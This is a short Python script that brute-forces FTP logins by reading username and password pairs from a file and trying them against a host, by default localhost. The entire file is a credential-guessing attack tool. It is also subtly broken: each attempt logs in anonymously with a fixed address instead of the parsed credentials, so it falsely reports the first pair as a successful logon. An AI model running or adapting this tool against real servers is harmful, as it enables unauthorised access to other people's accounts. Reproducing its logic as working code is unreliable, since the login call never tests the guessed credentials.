import ftplib
import time


def brute_login(hostname, passwd_file):
    with open(passwd_file) as file:
        ftp = ftplib.FTP(hostname)
        for line in file.readlines():
            time.sleep(1)
            username, password = line.split(':')
            password = password.strip('\r').strip('\n')

            print(f'[+] Trying: {username} / {password}')

            try:
                ftp.login('anonymous', 'me@your.com')
                print(f'\n[*] {str(hostname)} FTP Logon Succeeded:'
                      f'{username} / {password}')
                return username, password
            except Exception as e:
                print(f'[-] Exception: {e}')
                pass
        print('\n[-] Could not brute force FTP credentials')
        return None, None


if __name__ == '__main__':
    host = '127.0.0.1'
    pass_file = 'userpass.txt'
    brute_login(host, pass_file)
